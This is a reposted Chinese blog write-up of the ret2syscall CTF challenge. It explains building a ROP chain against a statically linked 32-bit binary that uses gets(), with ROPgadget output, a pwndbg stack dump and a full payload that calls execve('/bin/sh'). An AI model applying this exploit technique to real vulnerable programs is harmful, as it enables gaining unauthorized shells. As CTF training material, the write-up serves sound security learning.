ret2syscall

博客网址:www.shicoder.top
微信:18223081347
欢迎加群聊天 :452380935

这一次我们来深入分析下更难的栈溢出题目 ret2syscall

首先还是先检查下的保护

[*] '/home/pwn/桌面/题目/ROP/ret2syscall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到开启了栈不可以执行保护,不能在栈上覆盖我们的shellcode,那去看下是不是和 ret2shellcode有一个bss段可以执行呢?,我们去看下 IDA反编译的结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

感觉没有可以使用的bss段呢,但我们打开 IDA发现,它的函数窗口怎么这么多函数呀,但 main函数完全没有使用很多呢,那它是不是静态链接的呀,于是使用file查看下

ROP$ file ret2syscall
ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

看来是静态链接,那好办了,就是我们熟悉的 ROP思想了,下面我简单说下这个思想是什么意思

首先我们知道最终是要程序执行 execve("/bin/sh")这段代码,就可以得到 shell,那这个函数其实就是一个系统调用,对应的反汇编代码如下

mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80

因此下面这个图展示栈溢出的原理

ret2syscall

那是不是我们溢出的栈中,只要包含这几句代码,然后让他挨着执行,那是不是类似我们执行了 execve("/bin/sh")呢,而且注意到这个程序是静态链接,那肯定有很多库被引进来了,所以找到这些代码片段应该不是很难,那怎么找呢,有一个指令 ROPgadget

ROP$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

比如我们想找到 pop eax;ret这行代码,上面看到有这么多,那选 0x080bb196

同样我们需要找到 pop ebx;ret

ROP$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

看到有一行 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret,这刚好完全,那就这一条把

那还有一个,我们需要 /bin/sh这个字符串呢,同样

ROPgadget --binary ret2syscall  --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

最后就是int0x80的地址,同样

ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

当然这道题就是完全巧合,正常题目不可能这样,这里就是熟悉下,hhh

现在把执行 execve("/bin/sh")的汇编代码完全找到了,那其实就是将这些代码挨着进行栈覆盖,让 eip不断的在这几行汇编跳转执行,最终实现 execve("/bin/sh")

exp怎么写呢,先直接看下 payload

pop_eax_ret= 0x080bb196
pop_edx_ecx_ebx_ret= 0x0806eb90
bin_sh_adr=0x080be408
int0x80_adr=0x08049421

payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)

首先还是用 IDA看下需要覆盖多少字节

pwndbg> stack 40
00:0000│ esp  0xffffd100 —▸ 0xffffd11c ◂— 'AAAAAAAA'
01:0004│      0xffffd104 ◂— 0x0
02:0008│      0xffffd108 ◂— 0x1
03:000c│      0xffffd10c ◂— 0x0
04:0010│      0xffffd110 ◂— 0x1
05:0014│      0xffffd114 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
06:0018│      0xffffd118 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
07:001c│ eax  0xffffd11c ◂— 'AAAAAAAA'
... ↓
09:0024│      0xffffd124 —▸ 0xffffd200 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
0a:0028│      0xffffd128 ◂— 0x8000
0b:002c│      0xffffd12c —▸ 0x8048b36 (init_cacheinfo+86) ◂— test   eax, eax
0c:0030│      0xffffd130 ◂— 0x28 /* '(' */
0d:0034│      0xffffd134 ◂— 0x1
0e:0038│      0xffffd138 ◂— 0x16
0f:003c│      0xffffd13c ◂— 0x8000
10:0040│      0xffffd140 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc    al, 0
11:0044│      0xffffd144 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│      0xffffd148 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
13:004c│      0xffffd14c ◂— 0x1
14:0050│      0xffffd150 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
15:0054│      0xffffd154 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
16:0058│      0xffffd158 ◂— 0x1
17:005c│      0xffffd15c —▸ 0x8049612 (__libc_csu_init+130) ◂— add    ebp, 1
18:0060│      0xffffd160 ◂— 0x1
19:0064│      0xffffd164 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd168 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│      0xffffd16c ◂— 0x2
1c:0070│      0xffffd170 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│      0xffffd174 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1e:0078│      0xffffd178 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1f:007c│      0xffffd17c —▸ 0x80481a8 (_init) ◂— push   ebx
20:0080│      0xffffd180 ◂— 0x0
21:0084│      0xffffd184 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
22:0088│ ebp  0xffffd188 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
23:008c│      0xffffd18c —▸ 0x804907a (__libc_start_main+458) ◂— mov    dword ptr [esp], eax
24:0090│      0xffffd190 ◂— 0x1
25:0094│      0xffffd194 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
26:0098│      0xffffd198 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'

首先需要覆盖 0xffffd18c-0xffffd11c=112个字节,然后就开始覆盖返回地址,我们要按照这个过程进行覆盖

ret2syscall

那容易了呀,那不就是

payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)

有可能很多小伙伴不知道为什么要 pop eax;ret这样的,首先 return addresspop eax;ret的地址,那么首先就是执行 pop eax;ret,分2步,第一步 pop eax,那么就把 0xbeax,然后 ret,就会到 pop ebx;ret这一个地方,那么后面就一样了,这里大家可以画一个动态图,自己好好理解下

Original: https://www.cnblogs.com/shilinkun/p/16313468.html
Author: 小坤学习园
Title: ret2syscall

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/606996/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 机器学习:单元线性回归(python简单实现)

    本篇文章主要记录和讲解使用python如何简单实现单元线性回归算法 文章简介 使用python简单实现机器学习中单元线性回归算法。 算法目的 该算法核心目的是为了求出假设函数h中多…

    Linux 2023年6月7日
    090
  • shell 同时执行多任务下载视频

    本文为博主原创,转载请注明出处: shell 脚本不支持多线程,但我们需要用shell 脚本同时跑多个任务时怎么让这些任务并发同时进行,可以采用在每个任务 后面 添加一个 &amp…

    Linux 2023年6月14日
    0102
  • zabbix5.0报错PHP时区未设置(配置参数”date.timezone”)

    解决办法 : 1、编辑文件/etc/opt/rh/rh-php72/php-fpm.d/zabbix.conf,取消注释并设置为所在地时区 vim /etc/opt/rh/rh-p…

    Linux 2023年6月7日
    081
  • 【电子取证:FTK Imager篇】FTK Imager制作镜像详细介绍

    以DD镜像制造为例,详细介绍了FTK Imager创建镜像的过程,记得大学的时候学习这些没什么教程,找到的资料也是语焉不详,故在此啰嗦一番—【suy】 一、磁盘镜像制作…

    Linux 2023年6月13日
    01.3K
  • KETTLE使用中的错误集锦

    1.违反唯一主键约束条件:问题是表中有俩个主键,将备用主键替换成真正的主 键或者是没有对数据做出处理加这句话and cft.DEL_FLAG!=’1’或者要…

    Linux 2023年6月13日
    0164
  • 微步蜜罐部署

    1.下载安装包HFish-Windows-amd64 (Windows x86 架构 64 位系统),解压缩 下载地址反制溯源_欺骗防御_主动防御-HFish免费蜜罐平台 2.进入…

    Linux 2023年6月14日
    095
  • Redis 内存模型

    前言 Redis是目前最火爆的内存数据库之一,通过在内存中读写数据,大大提高了读写速度,可以说Redis是实现网站高并发不可或缺的一部分。 我们使用Redis时,会接触Redis的…

    Linux 2023年5月28日
    0121
  • 使用URL快捷方式提高效率

    阅文时长 | 0.9分钟字数统计 | 1453.6字符主要内容 | 1、引言&背景 2、URL格式基本格式介绍 3、附录:Hotkey详细参数 4、拓展:收藏夹中的URL格…

    Linux 2023年6月14日
    094
  • 存储过程,存储函数(Oracle)

    –打印hello world create or replace procedure sayhelloworld as –说明部分 begin dbms_output.put_…

    Linux 2023年6月14日
    079
  • 数字数组

    3、【剑指Offer学习】【面试题03:找出数组中重复的数字】 4、【剑指Offer学习】【面试题04:二维数组中的查找】 11、【剑指Offer学习】【面试题11:旋转数组的最小…

    Linux 2023年6月13日
    0120
  • jmeter之数据库连接JDBC安装与使用

    jmeter中如果要用sql语句查询数据库,就需要用到JDBC请求和JDBC Connection Configuration了。 首先来了解下,JDBC是什么?英文全称为Java…

    Linux 2023年6月8日
    0115
  • 20 年老程序员告诉你的 20 条编码原则

    我从 1999 年就开始了编程生涯,到今年已经有 20 多年了。我先是从 Basic 开始,很快转到了 Pascal 和 C 语言,然后又学习了面向对象编程语言 Delphi 和 …

    Linux 2023年6月8日
    097
  • 扑克牌大小—牛客网

    扑克牌大小_牛客题霸_牛客网 (nowcoder.com) #include #include<string> #include using namespace std…

    Linux 2023年6月13日
    0121
  • Spring中如何使用自定义注解搭配@Import引入内外部配置并完成某一功能的启用

    有些网站第一时间爬取了我的原创文章,并且没有注明出处,不得已在这里加上说明。 文章背景 有一个封装 RocketMq 的 client 的需求,用来提供给各项目收、发消息,但是项目…

    Linux 2023年6月6日
    0110
  • linux编译安装nginx

    本文升级过程,适用于大部分nginx编译版本 常用编译选项说明nginx大部分常用模块,编译时./configure –help以–without开头的都默认安装。 –prefix…

    Linux 2023年6月14日
    090
  • Linux系统编程之进程控制(进程创建、终止、等待及替换)

    进程创建 在上一节讲解进程概念时,我们提到fork函数是从已经存在的进程中创建一个新进程。那么,系统是如何创建一个新进程的呢?这就需要我们更深入的剖析fork函数。 1.1 for…

    Linux 2023年6月8日
    0108
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球